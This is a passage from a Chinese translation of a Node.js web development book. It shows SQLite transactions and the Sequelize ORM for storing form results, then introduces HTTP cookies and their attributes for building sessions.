 **SELECT $name**
 **WHERE NOT EXISTS (SELECT name FROM People WHERE name = $name)`;**
**export const insertCalculation = `**
 **INSERT INTO Calculations (age, years, nextage)**
 **SELECT $age, $years, $nextage**
 **WHERE NOT EXISTS**
 **(SELECT age, years, nextage FROM Calculations**
 **WHERE age = $age AND years = $years AND nextage = $nextage)`;**
**export const** **insertResult = `**
 **INSERT INTO Results (personId, calculationId)**
 **SELECT People.id as personId, Calculations.id as calculationId from People**
 **CROSS JOIN Calculations**
 **WHERE People.name = $name**
 **AND Calculations.age = $age**
 **AND Calculations.years = $years**
 **AND Calculations.nextage = $nextage`;** 

insertPersoninsertCalculation 语句只有在 PeopleCalculation 表中没有具有相同详细信息的现有行时,才会向这些表中插入新行。insertResult 语句在 Results 表中创建一行,并引用其他表。

这些语句需要在事务中执行以确保一致性。SQLite 数据库引擎支持事务,但这些事务并没有方便地暴露给 Node.js,因此需要额外的工作来在事务中运行 SQL 语句。将名为 sql_helpers.ts 的文件添加到 src/server/data 文件夹中,其内容如 列表 12.19 所示。

列表 12.19:src/server/data 文件夹中 sql_helpers.ts 文件的内容

import { Database } from "sqlite3";
export class TransactionHelper {
    steps: [sql: string, params: any][] = [];
    add(sql: string, params: any): TransactionHelper {
        this.steps.push([sql, params]);
        return this;
    }
    run(db: Database): Promise<number> {
        return new Promise((resolve, reject) => {
            let index = 0;
            let lastRow: number = NaN;
            const cb = (err: any, rowID?: number) => {
                if (err) {
                    db.run("ROLLBACK", () => reject());
                } else {
                    lastRow = rowID ? rowID : lastRow;
                    if (++index === this.steps.length) {
                        db.run("COMMIT", () => resolve(lastRow));
                    } else {
                        this.runStep(index, db, cb);
                    }
                }
            }
            db.run("BEGIN", () => this.runStep(0, db, cb));
        }); 
    }
    runStep(idx: number, db: Database, cb: (err: any, row: number) => void) {
        const [sql, params] = this.steps[idx];
        db.run(sql, params, function (err: any) {
            cb(err, this.lastID)
        });
    }
} 

TransactionHelper 类定义了一个 add 方法,用于构建 SQL 语句和查询参数的列表。当调用 run 方法时,向 SQLite 发送 BEGIN 命令,并运行每个 SQL 语句。如果所有语句都成功执行,则发送 COMMIT 命令,SQLite 将更改应用到数据库中。如果任何语句失败,则发送 ROLLBACK 命令,SQLite 放弃之前语句所做的更改。SQLite 提供由 INSERT 语句修改的行的 ID,run 方法返回最新语句产生的值。知道最近插入行的 ID 通常是一个好主意,因为它使得查询新数据变得容易,正如 第十四章 将展示的那样。

列表 12.20 使用 TransactionHelper 类通过在 SQL 事务中运行 列表 12.18 中的三个语句来执行更新。

列表 12.20:src/server/data 文件夹中 sql_repository.ts 文件插入数据

import { readFileSync } from "fs";
import { Database } from "sqlite3";
import { Repository, Result } from "./repository";
**import { queryAllSql, queryByNameSql,**
 **insertPerson, insertCalculation, insertResult } from "./sql_queries";**
**import { TransactionHelper } from "./sql_helpers";**
export class SqlRepository implements Repository {
    db: Database;
    constructor() {
        this.db = new Database("age.db");
        this.db.exec(readFileSync("age.sql").toString(), err => {
            if (err != undefined) throw err;
        });
    }
    async saveResult(r: Result): Promise<number> {
       ** return await new** **TransactionHelper()**
 **.add(insertPerson, { $name: r.name })**
 **.add(insertCalculation, {**
 **$age: r.age, $years: r.years, $nextage****: r.nextage**
 **})**
 **.add(insertResult, {**
 **$name: r.name,**
 **$age: r.age, $years: r.years, $nextage: r.nextage**
 **})**
 **.run(this.db);** 
    }
    getAllResults($limit: number): Promise<Result[]> {
        return this.executeQuery(queryAllSql, { $limit });
    }

    getResultsByName($name: string, $limit: number): Promise<Result[]> {
        return this.executeQuery(queryByNameSql, { $name, $limit });
    }
    executeQuery(sql: string, params: any) : Promise<Result[]> {
        return new Promise<Result[]>((resolve, reject) => {
            this.db.all<Result>(sql, params, (err, rows) => {
                if (err == undefined) {
                    resolve(rows);
                } else {
                    reject(err);
                }
            })
        });
    }
} 

saveResult 方法的实现执行了三个 SQL 语句。每个语句都需要一个单独的对象来存储其查询参数,因为 SQLite 如果参数对象中有未使用的属性会报错。列表 12.21 更新了处理 HTTP POST 请求以通过存储库写入数据库的处理程序。

列表 12.21:src/server 文件夹中 forms.ts 文件写入数据

import express, { Express } from "express";
import repository  from "./data";
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("age", {
            history: await repository.getAllResults(rowLimit)
        });
    });
    app.post("/form", async (req, resp) => {
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
 **await repository.saveResult({...req.body, nextage });**
        const context = {
            ...req.body, nextage,
            history: await repository.getResultsByName(
                req.body.name, rowLimit)
        };
        resp.render("age", context);  
    });
} 

为应用程序的每个部分使用一致的名称意味着请求体可以用作符合存储库期望的 Result 接口的基础。结果是,每个新的请求都存储在数据库中,并反映在向用户展示的响应中,如图 图 12.5 所示。

图 12.5:向数据库写入数据

使用 ORM 包

直接与数据库工作的优点是你可以控制每个语句的编写和执行方式。缺点是这可能是一个复杂且耗时的过程。

另一种选择是使用代表开发者处理数据库的 ORM 包,隐藏一些 SQL 方面,并负责数据库与 JavaScript 对象之间的映射。

ORM 包提供的功能范围差异很大。有些采用轻量级方法,专注于转换数据,但大多数包处理数据库使用的各个方面,包括定义 SQL 模式、创建数据库,甚至生成查询。

ORM 包可能很好,但你仍然需要具备基本的 SQL 理解,这就是为什么我以直接到数据库的示例开始本章。ORM 包期望开发者理解如何使用其功能来创建和使用数据库,没有一些 SQL 技能,你将无法获得有用的结果或诊断问题。

对象数据库的论点

使用 SQL 和 ORM 包的替代方案是使用直接存储对象的数据库,例如 MongoDB (www.mongodb.com)。我没有在这本书中涵盖对象数据库的原因是,大多数项目使用关系数据库,而大多数公司对特定的关系数据库引擎进行标准化。对象数据库可能是一个不错的选择,但它们并不是大多数开发者最终使用的技术。尽管有一些出色的替代方案可用,但 SQL 数据库仍然占据主导地位。

我在本章中使用的 ORM 包名为 Sequelize (www.npmjs.com/package/sequelize),这是最受欢迎的 JavaScript ORM 包。Sequelize 具有一套全面的功能,并支持包括 SQLite 在内的最流行的数据库引擎。

part2app文件夹中运行清单 12.22中显示的命令以安装 Sequelize 包,该包包括 TypeScript 类型信息。

清单 12.22:安装 ORM 包

npm install sequelize@6.35.1 

使用 JavaScript 对象定义数据库

当直接与数据库交互时,第一步是编写创建表及其之间关系的 SQL 语句,这也是本章开始的方式。当使用 ORM 时,数据库使用 JavaScript 对象进行描述。每个 ORM 包都有自己的流程,对于 Sequelize 来说,需要三个步骤。

创建模型类

第一步是定义将代表数据库中数据的类。在src/server/data文件夹中添加一个名为orm_models.ts的文件,其内容如清单 12.23所示。

清单 12.23:src/server/data文件夹中orm_models.ts文件的内容

**import { Model, CreationOptional, ForeignKey, InferAttributes,**
 **InferCreationAttributes  }** **from "sequelize";**
**export class Person extends Model<InferAttributes<Person>,**
 **InferCreationAttributes<****Person>> {**
 **declare id?: CreationOptional<number>;**
 **declare name: string**
**}**
**export class Calculation extends Model<InferAttributes<Calculation>,**
**InferCreationAttributes<Calculation>> {**
 **declare id?: CreationOptional<number>;** 
 **declare age: number;**
 **declare years: number;**
 **declare nextage: number;**
**}**
**export class ResultModel extends** **Model<InferAttributes<ResultModel>,**
 **InferCreationAttributes<ResultModel>> {**
 **declare id: CreationOptional<number>;** 
 **declare personId: ForeignKey<Person["****id"]>;**
 **declare calculationId: ForeignKey<Calculation["id"]>;**
 **declare Person?: InferAttributes<Person>;**
 **declare Calculation?: InferAttributes<****Calculation>;**
**}** 

Sequelize 将使用每个类创建一个数据库表,每个属性都将成为该表中的一列。这些类还向 TypeScript 编译器描述数据库中的数据。

清单 12.23 中的所有类属性都使用 declare 关键字定义,这告诉 TypeScript 编译器表现得好像属性已经被定义,但不要将这些属性包含在编译后的 JavaScript 中。这很重要,因为 Sequelize 将向对象添加获取器和设置器以提供对数据的访问,而按常规定义属性将防止该功能正常工作。

注意

模型类的名称应该是具有意义的。我选择了 PersonCalculation,它们足够明显,但我使用了 ResultModel 以避免与 Repository 接口使用的类型名称冲突。

类型为常规 JavaScript 类型的类属性将在数据库中以常规列的形式表示,例如 Person 类定义的 name 属性:

...
export class Person extends Model<InferAttributes<Person>,
        InferCreationAttributes<Person>> {
    declare id?: CreationOptional<number>;
    **declare name: string**
}
... 

CreationOptional<T> 类型用于描述在创建模型类的新实例时不必提供的属性,如下所示:

...
**export class Person extends Model****<InferAttributes<Person>,**
 **InferCreationAttributes<Person>> {**
declare id?: CreationOptional<number>;
    declare name: string
}
... 

id 属性代表当 Person 对象作为数据库表中的一行存储时的主键。数据库将被配置为在存储新行时自动分配键,因此使用 CreationOptional<number> 类型将防止 TypeScript 在创建没有 id 值的 Person 对象时报告错误。

基类用于构建由类定义的属性列表,这些属性用于在读取或写入数据时强制类型安全:

...
**export class Person extends Model<InferAttributes<Person****>,**
 **InferCreationAttributes<Person>> {**
    declare id?: CreationOptional<number>;
    declare name: string
}
... 

InferAttributes<Person> 类型选择 Person 类定义的所有属性,而 InferCreationAttributes<Person> 类型排除了类型为 CreationOptional<T> 的属性。模型类还包含表示数据库表中关系属性:

...
export class ResultModel extends Model<InferAttributes<ResultModel>,
        InferCreationAttributes<ResultModel>> {
    declare id: CreationOptional<number>;          
 **declare personId: ForeignKey<Person["id"]>;**
 **declare calculationId: ForeignKey<Calculation["id"]>;**
 **declare Person?: InferAttributes<Person>;**
 **declare Calculation?: InferAttributes<Calculation>;**
}
... 

personIdcalculationId 属性将存储相关数据的主键,而 PersonCalculation 属性将填充由 Sequelize 创建的对象,作为将数据作为对象提供的过程的一部分。

初始化数据模型

下一步是告诉 Sequelize 如何在数据库中表示模型类定义的每个属性。将名为 orm_helpers.ts 的文件添加到 src/server/data 文件夹中,内容如 清单 12.24 所示。

清单 12.24:src/server/data 文件夹中 orm_helpers.ts 文件的内容

import { DataTypes, Sequelize } from "sequelize";
import { Calculation, Person, ResultModel } from "./orm_models";
const primaryKey = {
    id: {
        type: DataTypes.INTEGER,
        autoIncrement: true,
        primaryKey: true
    }       
};
export const initializeModels = (sequelize: Sequelize) => {
    Person.init({
        ...primaryKey,
        name: { type: DataTypes.STRING }
    }, { sequelize });
    Calculation.init({
        ...primaryKey,
        age: { type: DataTypes.INTEGER},
        years: { type: DataTypes.INTEGER},
        nextage: { type: DataTypes.INTEGER},
    }, { sequelize });
    ResultModel.init({
        ...primaryKey,
    }, { sequelize });
} 

清单 12.24 中使用的 Model 基类定义了 init 方法,该方法接受一个对象,其属性对应于类中定义的属性。每个属性都被分配一个配置对象,该对象告诉 Sequelize 如何在数据库中表示数据。

所有三个模型类都有一个 id 属性,该属性被配置为主键。对于其他属性,从 DataTypes 类中选择一个值来指定在创建数据库时将使用的 SQL 数据类型。

init方法接受的第二个参数用于配置整体数据模型。列表 12.24中只指定了sequelize属性,这是一个将用于管理数据库的Sequelize对象。其他选项允许更改数据库表名,设置数据库触发器,以及配置其他数据库功能。

配置模型关系

Model基类提供方法来描述模型类之间的关系,如列表 12.25所示。

列表 12.25:在 src/server/data 文件夹中的 orm_helpers.ts 文件中定义模型关系

import { DataTypes, Sequelize } from "sequelize";
import { Calculation, Person, ResultModel } from "./orm_models";
const primaryKey = {
    id: {
        type: DataTypes.INTEGER,
        autoIncrement: true,
        primaryKey: true
    }       
};
export const initializeModels = (sequelize: Sequelize) => {
    // ...statements omitted for brevity...
}
**export const defineRelationships = () => {**
 **ResultModel.belongsTo(Person, { foreignKey: "personId" });**
 **ResultModel.belongsTo****(Calculation, { foreignKey: "calculationId"});**
**}** 

Sequelize 定义了四种类型的关联,用于描述数据模型类之间的关系,如表 12.4中所述。

表 12.4:Sequelize 关联方法

名称 描述

|

`hasOne(T, options)` 
此方法表示模型类与T之间的一对一关系,外键在T上定义。

|

`belongsTo(T, options)` 
此方法表示模型类与T之间的一对一关系,外键由模型类定义。

|

`hasMany(T, options)` 
此方法表示一对多关系,外键由T定义。

|

`belongsToMany(T, options)` 
此方法表示使用连接表的多对多关系。

表 12.4中定义的每个方法都接受一个选项参数,用于配置关系。在列表 12.25中,使用foreignKey属性指定ResultModel类与PersonCalculation类型的一对一关系的外键。(还有其他选项,请参阅sequelize.org/api/v6/identifiers.html#associations,您可以在第十五章中看到一个更复杂的示例,该示例使用多对多关系。)

定义种子数据

虽然 ORM 包处理了很多细节,但有些任务可能通过直接执行 SQL 表达式而不是使用 JavaScript 对象更容易完成。为了演示,列表 12.26使用 SQL 来初始化数据库。(后面的章节将展示使用 JavaScript 对象初始化数据库,以便您可以比较技术。)

列表 12.26:在 src/server/data 文件夹中的 orm_helpers.ts 文件中添加种子数据

import { DataTypes, Sequelize } from "sequelize";
import { Calculation, Person, ResultModel } from "./orm_models";
import { Result } from "./repository";
const primaryKey = {
    id: {
        type: DataTypes.INTEGER,
        autoIncrement: true,
        primaryKey: true
    }       
};
// ...statements omitted for brevity...
export const defineRelationships = () => {
    ResultModel.belongsTo(Person, { foreignKey: "personId" });
    ResultModel.belongsTo(Calculation, { foreignKey: "calculationId"});
}
**export const addSeedData = async (sequelize: Sequelize****) => {**
 **await sequelize.query(`**
 **INSERT INTO Calculations**
 **(id, age, years, nextage, createdAt, updatedAt) VALUES**
 **(1, 35, 5, 40, date(), date()),**
 **(2, 35, 10, 45, date(), date())`);**
 **await sequelize.query(`**
 **INSERT INTO People (id, name, createdAt, updatedAt) VALUES**
 **(1, 'Alice', date(), date()), (2, "Bob", date(), date())`);**
 **await sequelize.query****(`**
 **INSERT INTO ResultModels**
 **(calculationId, personId, createdAt, updatedAt) VALUES**
 **(1, 1, date(), date()), (2, 2, date(), date()),**
 **(2, 1, date(), date());`);**
**}** 

Sequelize.query方法接受一个包含 SQL 语句的字符串。列表 12.26中的语句创建了本章前面使用的相同种子数据,但增加了createdAtupdatedAt列的值。使用 ORM 包创建数据库的一个后果是通常会引入额外的功能和约束,Sequelize 添加这些列以跟踪表行何时创建和修改。创建种子数据的查询使用date()函数,该函数返回当前日期和时间。

将数据模型转换为扁平对象

使用 JavaScript 对象来表示数据可能是一种更自然的发展体验,但这可能意味着数据模型对象不符合应用程序其他部分的预期格式。在示例应用程序的情况下,ORM 数据模型对象不符合Repository接口使用的Result类型的规范。一种方法可能是修改接口,但这会损害将数据库从应用程序其余部分隔离出来的好处。列表 12.27定义了一个函数,该函数将 ORM 包提供的ResultModel对象转换为Repository接口所需的Result对象。

列表 12.27:src/server/data 文件夹中 orm_helpers.ts 文件中的数据转换

import { DataTypes, Sequelize } from "sequelize";
import { Calculation, Person, ResultModel } from "./orm_models";
**import { Result } from "./repository";**
const primaryKey = {
    id: {
        type: DataTypes.INTEGER,
        autoIncrement: true,
        primaryKey: true
    }       
};
// ...functions omitted for brevity...
**export const fromOrmModel = (model: ResultModel | null) : Result => {**
 **return {**
 **id: model?.id || 0****,**
 **name: model?.Person?.name || "",**
 **age: model?.Calculation?.age || 0,**
 **years: model?.Calculation****?.years || 0,**
 **nextage: model?.Calculation?.nextage || 0**
 **}**
**}** 

这种转换可能看起来有些笨拙,但 JavaScript 使得以这种方式组合新对象变得容易,这是一种有用的技术,它简化了模块和包之间的集成,这是大多数 JavaScript 项目必须处理的问题。

实现存储库

所有的管道都已经就绪,现在是时候实现Repository接口了。向src/server/data文件夹添加一个名为orm_repository.ts的文件,其内容如列表 12.28所示,该文件设置了 ORM,但尚未实现查询或存储数据。

列表 12.28:src/server/data 文件夹中 orm_repository.ts 文件的内容

**import { Sequelize } from "sequelize";**
**import { Repository, Result } from** **"./repository";**
**import { addSeedData, defineRelationships,**
 **fromOrmModel, initializeModels } from "./orm_helpers";**
**import { Calculation, Person, ResultModel } from "./orm_models"****;**
**export class OrmRepository implements Repository {**
 **sequelize: Sequelize;**
 **constructor() {**
 **this.sequelize = new** **Sequelize({**
 **dialect: "sqlite",**
 **storage: "orm_age.db",**
 **logging: console.log,**
 **logQueryParameters: true**
 **});**
 **this.initModelAndDatabase();**
 **}**
 **async initModelAndDatabase() : Promise<void> {**
 **initializeModels(this.sequelize);**
 **defineRelationships****();**
 **await this.sequelize.drop();** 
 **await this.sequelize.sync();**
 **await addSeedData****(this.sequelize);**
 **}**
 **async saveResult(r: Result): Promise<number> {**
 **throw new Error****("Method not implemented.");**
 **}**
 **async getAllResults(limit: number): Promise<Result[]> {**
 **throw new Error("Method not implemented."****);** 
 **}**
 **async getResultsByName(name: string, limit: number): Promise<Result[]> {**
 **throw new Error("Method not implemented."****);** 
 **}**
**}** 

Sequelize 支持一系列数据库引擎,包括 SQLite,因此第一步是创建一个Sequelize对象,提供一个配置对象,指定数据库引擎及其使用选项。在列表 12.28中,dialect选项指定 SQLite,而storage选项指定文件名。在使用 ORM 时,查看生成的 SQL 查询可能很有用,这就是为什么设置了logginglogQueryParameters选项。

一旦创建了Sequelize对象,就可以对其进行配置。initModelAndDatabase方法调用initializeModelsdefineRelationships函数来配置数据模型对象,然后调用以下方法:

...
await this.sequelize.drop();       
await this.sequelize.sync();
... 

drop方法告诉 Sequelize 删除数据库中的表。这并不是应该在真实项目中执行的操作,但它重新创建了本章早期示例。sync方法告诉 Sequelize 将数据库与数据模型对象同步,这会产生为ResultModelPersonCalculation数据创建表的效果。一旦创建了表,就会调用addSeedData函数向数据库添加初始数据。一些操作是异步的,这就是为什么它们在async方法内部使用await关键字执行的原因。

查询数据

在 ORM 中,使用返回对象的 API 进行查询,而不直接与发送到数据库的 SQL 进行交互。ORM 包含不同的关于如何表达查询的哲学。在 Sequelize 中,查询是通过继承自 Model 基类的方法和数据模型类来执行的,其中最有用的方法在 表 12.5 中进行了描述。(完整的 Model 功能可以在 sequelize.org/api/v6/class/src/model.js~model 找到。)|

表 12.5:有用的模型方法

名称 描述

|

`findAll` 
此方法查找所有匹配的记录并将它们作为模型对象展示。

|

`findOne` 
此方法查找第一个匹配的记录并将其作为模型对象展示。

|

`findByPk` 
此方法查找具有指定主键的记录。

|

`findOrCreate` 
此方法查找匹配的记录或在没有匹配项时创建一个。

|

`create` 
此方法创建一个新的记录。

|

`update` 
此方法更新数据库中的数据。

|

`upsert` 
此方法更新单行数据或在没有匹配项时创建行。

表 12.5 中的方法通过一个配置对象进行配置,该对象改变了查询或更新的执行方式。最有用的配置属性在 表 12.6 中进行了描述。

表 12.6:有用的查询配置属性

名称 描述

|

`include` 
此属性通过跟踪外键从相关表中加载数据。

|

`where` 
此属性用于缩小查询,该查询通过 SQL 的 WHERE 关键字传递给数据库。

|

`order` 
此属性配置查询顺序,该顺序通过 SQL 的 ORDER BY 关键字传递给数据库。

|

`group` 
此属性指定查询分组,该分组通过 SQL 的 GROUP BY 关键字传递给数据库。

|

`limit` 
此属性指定所需的记录数,该数通过 SQL 的 LIMIT 关键字传递给数据库。

|

`transaction` 
此属性在指定的事务内执行查询,如 写入数据 部分所示。

|

`attributes` 
此属性限制了结果,以便它们只包含指定的属性/列。

列表 12.29 展示了一个基本的 Sequelize 查询,该查询实现了 getAllResults 方法。

列表 12.29:在 src/server/data 文件夹中的 orm_repository.ts 文件中执行查询

...
async getAllResults(limit: number): Promise<Result[]> {
    **return (await ResultModel****.findAll({**
 **include: [Person, Calculation],**
 **limit,**
 **order: [["id", "DESC"]]**
 **})).map(row =>** **fromOrmModel(row));**
}
... 

ResultModel 类上调用 findAll 方法,并配置了一个具有 includelimitorder 属性的对象。最重要的属性是 include,它告诉 Sequelize 跟踪外键关系以加载相关数据并从结果中创建对象。在这种情况下,结果将是一个 ResultModel 对象,其 PersonCalculation 属性被填充。limit 属性限制了结果的数量,而 order 属性用于指定结果的排序方式。

查询是异步执行的,结果是返回一个 Promise,该 Promise 产生一个 ResultModel 对象数组,这些对象使用在 列表 12.27 中定义的 fromOrmModel 函数映射到 Repository 接口所需的 Result 对象。

可以使用 where 配置属性来选择特定数据,如 列表 12.30 所示,该列表实现了 getResultsByName 方法。

列表 12.30:在 src/server/data 文件夹中的 orm_repository.ts 文件中搜索数据

...
async getResultsByName(name: string, limit: number): Promise<Result[]> {
 **return** **(await ResultModel.findAll({**
 **include: [Person, Calculation],**
 **where: {**
 **"$Person.name$": name**
 **},**
 **limit, order: [["id"****, "DESC"]]**
 **})).map(row => fromOrmModel(row));**
}
... 

这是与 列表 12.29 中相同的查询,但增加了 where 属性,该属性告诉 Sequelize 跟随外键关系,并使用 name 属性匹配 Person 对象。where 属性的语法可能需要一些时间来适应,但您将在后面的章节中看到更多的示例。

写入数据

列表 12.31 通过实现 saveResult 方法来完成仓库,该方法仅在数据库中不存在匹配数据时存储 PersonCalculation 对象,并且使用事务执行所有更改。

列表 12.31:在 src/server/data 文件夹中的 orm_repository.ts 文件中写入数据

...
async saveResult(r: Result): Promise<number> {
   ** return await this.sequelize.transaction(async (tx) => {**
 **const [person] = await Person.****findOrCreate({**
 **where: { name : r.name},**
 **transaction: tx**
 **});**

 **const [calculation] = await Calculation.findOrCreate({**
 **where: {**
 **age: r.****age, years: r.years, nextage: r.nextage**
 **},**
 **transaction: tx**
 **});**
 **return (await ResultModel.create({**
**personId: person.id, calculationId: calculation.id},**
 **{transaction: tx})).id;**
 **});** 
}
... 

使用 Sequelize.transaction 方法创建 transaction,该方法接受一个回调函数,该函数接收一个 Transaction 对象。使用 transaction 属性将每个操作注册到事务中,这些操作将自动提交或回滚。

在事务中,使用 findOrCreate 方法来查看数据库中是否存在与 saveResult 方法接收到的数据匹配的 PersonCalculation 对象。结果是如果存在,则为现有对象,如果不存在匹配项,则为新创建的对象。

每个请求都必须存储一个新的 ResultModel 对象,这可以通过 create 方法完成。personIdcalculationId 属性的值使用 findOrCreate 方法的输出设置,写操作注册到事务中。对于 id 属性不需要值,数据库在存储新数据时将分配该值,并且该值包含在 create 方法的输出中。

注意

create 方法允许在单个步骤中创建和存储对象。另一种选择是使用 build 方法,该方法创建一个模型对象,该对象在调用 save 方法之前不会存储,这允许在数据写入数据库之前进行更改。

应用仓库

使用仓库的好处是,可以更改数据存储的细节,而不会影响使用该数据的应用程序部分。为了完成向 ORM 包的过渡,列表 12.32 用 ORM 替换了现有的仓库。

列表 12.32:在 src/server/data 文件夹中的 index.ts 文件中使用 ORM 仓库

import { Repository } from "./repository";
**//import { SqlRepository } from "./sql_repository";**
**import { OrmRepository } from "./orm_repository";**
**const repository: Repository =** **new OrmRepository();**
export default repository; 

由于仓库将数据管理从模板和请求处理代码中隔离出来,因此无需进行其他更改。使用浏览器请求http://localhost:5000,你将看到种子数据。填写并提交表单后,你将在图 12.6中看到响应,显示数据已存储在数据库中。如果你检查 Node.js 控制台输出,你将看到Sequelize从对数据模型对象执行的操作中构建的 SQL 查询。

图 12.6:使用 ORM 包

摘要

在本章中,我解释了 JavaScript 网络应用如何使用数据库,无论是直接使用 SQL 还是间接使用 ORM 包。

  • 数据库是最常见的持久数据存储选择。

  • Node.js 可以与流行的数据库引擎一起使用,为此有大量的开源包。

  • 数据库可以直接使用或通过将数据表示为对象并自动生成查询的包来使用。

  • 对数据库工作原理的基本了解以及理解核心 SQL 语法的技能,使得即使在使用 ORM 包的情况下,与数据库工作也变得更加容易。

在下一章中,我将描述如何识别相关的 HTTP 请求以创建会话。

第十三章:使用会话

在本章中,我解释了 Node.js 应用程序如何关联 HTTP 请求以创建会话,这允许一个请求的结果影响后续请求的结果。表 13.1将本章置于上下文中。

表 13.1:将会话置于上下文中

问题 答案
它们是什么? 会话关联用户发出的请求,允许请求相互关联。
为什么它们有用? 会话允许使用无状态的 HTTP 请求实现有状态的应用程序功能。
如何使用它们? Cookie 用于传输少量数据或与服务器存储的数据关联的会话 ID,该 ID 标识相关请求。
有没有陷阱或限制? 浏览器有时以不利于管理会话的方式使用 Cookie,但只要小心,会话的陷阱很少。
有没有替代方案? 基于 Cookie 的会话是关联 HTTP 请求的唯一可靠方式,但并非所有应用程序都需要请求关联。

表 13.2 总结了本章内容。

表 13.2:章节摘要

问题 解决方案 列表
关联相关的 HTTP 请求 设置和读取 Cookie 2-5, 8-10
防止存储在 Cookie 中的数据被更改 签名并验证 Cookie 6, 7
存储大量数据 使用会话,其中数据由应用程序存储,并通过存储在 Cookie 中的键访问 11-15, 19-21
持久存储会话数据 使用数据库 16-18

准备本章内容

本章使用的是第十二章中的part2app项目。本章不需要进行任何更改。在part2app文件夹中运行清单 13.1中显示的命令以启动开发工具。

列表 13.1:启动开发工具

npm start 

使用浏览器请求http://localhost:5000,填写表格,并点击图 13.1中显示的提交按钮。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

图 13.1:运行示例应用程序

关联无状态的 HTTP 请求

HTTP 请求是无状态的,这意味着每个请求都是自包含的,并且不包含任何将其与任何其他请求关联的信息,即使是由同一浏览器发出的。您可以通过打开两个浏览器窗口并使用相同名称但不同年龄和年数填写表格来模拟具有相同名称的两个用户,从而看到这造成的问题。

服务器必须处理的信息仅限于表单中的数据,它无法确定这些是来自不同用户的请求,因此用户看到彼此的数据,以及具有相同名称的用户创建的任何其他数据,如 图 13.2 所示。

图 13.2:无状态请求的影响

大多数应用程序都是有状态的,这意味着服务器必须能够关联请求,以便应用程序可以在未来的响应中反映过去的行为。在示例中,这将允许应用程序仅显示一个用户的请求,而不仅仅是所有同名用户的请求。

关联请求最常见的方式是使用cookie。cookie 是服务器在 HTTP 响应头中包含的文本片段。浏览器将在后续请求中包含这些 cookie,这意味着如果服务器使用唯一的 ID 创建 cookie,则这些请求可以被识别为相关的。(还有其他关联请求的方法,例如在 URL 中包含唯一的 ID,但 cookie 是最稳健和可靠的方法。)

Cookie 可以像任何响应头一样设置。将名为 cookies.ts 的文件添加到 src/server 文件夹中,内容如 列表 13.2 所示。

列表 13.2:src/server 文件夹中 cookies.ts 文件的内容

import { ServerResponse } from "http";
const setheaderName = "Set-Cookie";
export const setCookie = (resp: ServerResponse, name: string, 
        val: string) => {
    let cookieVal: any[] = [`${name}=${val}; Max-Age=300; SameSite=Strict }`];   
    if (resp.hasHeader(setheaderName)) {
        cookieVal.push(resp.getHeader(setheaderName));
    }
    resp.setHeader("Set-Cookie", cookieVal);   
}
export const setJsonCookie = (resp: ServerResponse, name: string,
        val: any) => {
    setCookie(resp, name, JSON.stringify(val));
} 

使用 Set-Cookie 头部将 cookie 发送到浏览器,该头部的值是一个 cookie 名称、一个值以及一个或多个属性,告诉浏览器如何管理 cookie。一个响应可以通过包含多个 Set-Cookie 头部来设置多个 cookie。因此,列表 13.2 中的代码检查是否存在现有的 Set-Cookie 头部,并将其值添加到传递给 setHeader 方法的值数组中。当响应被写入时,Node.js 将为数组中的每个元素添加一个 Set-Cookie 头部。

用户注意事项

在世界的一些地区,例如欧盟的通用数据保护条例GDPR)中,需要用户同意才能使用 cookie。我不是律师,也没有资格提供法律建议,但您应该确保您理解您的应用程序用户所在的每个地区的法律,并确保您遵守这些规则。

列表 13.2setCookie 函数生成的头部将看起来像这样:

...
Set-Cookie: user=Alice; Max-Age=300; SameSite=Strict
... 

cookie 名称是 user,其值是 Alice,cookie 已配置了 Max-AgeSameSite 属性,这些属性告诉浏览器 cookie 的有效期限以及何时发送 cookie。cookie 属性在 表 13.3 中描述。

表 13.3:Cookie 属性

名称 描述

|

`Domain=value` 
此属性指定 cookie 的域名,如本表之后所述。

|

`Expires=date` 
此属性指定 cookie 到期的时间和日期。数据格式在developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Date中描述。对于大多数项目,Max-Age属性更容易使用。

|

`HttpOnly` 
此属性告诉浏览器防止 JavaScript 代码读取 cookie。对于具有客户端 JavaScript 代码的 Web 应用程序,很少设置此属性。

|

`Max-Age=second` 
此属性指定 cookie 到期前的秒数。此属性优先于Expires

|

`Path=path` 
此属性指定浏览器包含 cookie 必须包含在 URL 中的路径。

|

`SameSite=policy` 
此属性告诉浏览器是否应将 cookie 包含在后续描述的跨站请求中。策略选项为StrictLaxNone

|

`Secure` 
当此选项设置时,浏览器将仅在 HTTPS 请求中包含 cookie,而不是普通 HTTP 请求。

两个 cookie 属性需要额外解释。Domain属性用于扩大浏览器将包含 cookie 的请求范围。例如,如果请求发送到users.acme.com,返回的任何 cookie 都不会包含在发送到products.acme.com的请求中,这可能会成为某些项目的问题。这可以通过设置Domain属性为acme.com并告诉浏览器更广泛地包含 cookie 来解决。

SameSite属性用于控制 cookie 是否包含在来自创建 cookie 的网站外部的请求中,称为第一方或同一站点的上下文SameSite属性的选项有:Strict,表示只有来自创建 cookie 的同一网站的请求才会包含 cookie,Lax,告诉浏览器在跟随链接时包含 cookie,但不包括跨站请求,如电子邮件,以及None,表示 cookie 始终包含。

假设用户之前访问了www.acme.com并接收了一个 cookie,之后用户导航到www.example.comwww.example.com的响应包含一个返回到www.acme.com的链接。如果 cookie 是以Strict选项创建的,浏览器不会在请求中发送 cookie,但如果是Lax选项,则会被包含。None选项也会导致浏览器包含 cookie,并允许它在框架内或为图像的请求中包含。

回顾列表 13.2中创建的 cookie,可以看到已使用Max-Age属性为 cookie 设置 300 秒(5 分钟)的生命周期,并且SameSite策略设置为Strict,这意味着 cookie 不会包含在来自 cookie 域外部的请求中:

...
Set-Cookie: user=Alice; **Max-Age=300; SameSite=Strict**
... 

setJsonCookie 函数生成具有相同配置的 cookie,但接受在用作 cookie 值之前序列化为 JSON 格式的任意对象。

避免没有 expires 和 Max-Age 属性的 cookie

没有设置 ExpiresMax-Age 属性创建的 cookie 是一个 会话 cookie,这是一个令人困惑的术语,因为这种类型的 cookie 并不特别适用于创建用户会话,我将在本章后面演示这个过程。名称“会话 cookie”意味着 cookie 仅在浏览会话期间有效,这意味着当用户关闭浏览器窗口时,它们会被无效化,例如。

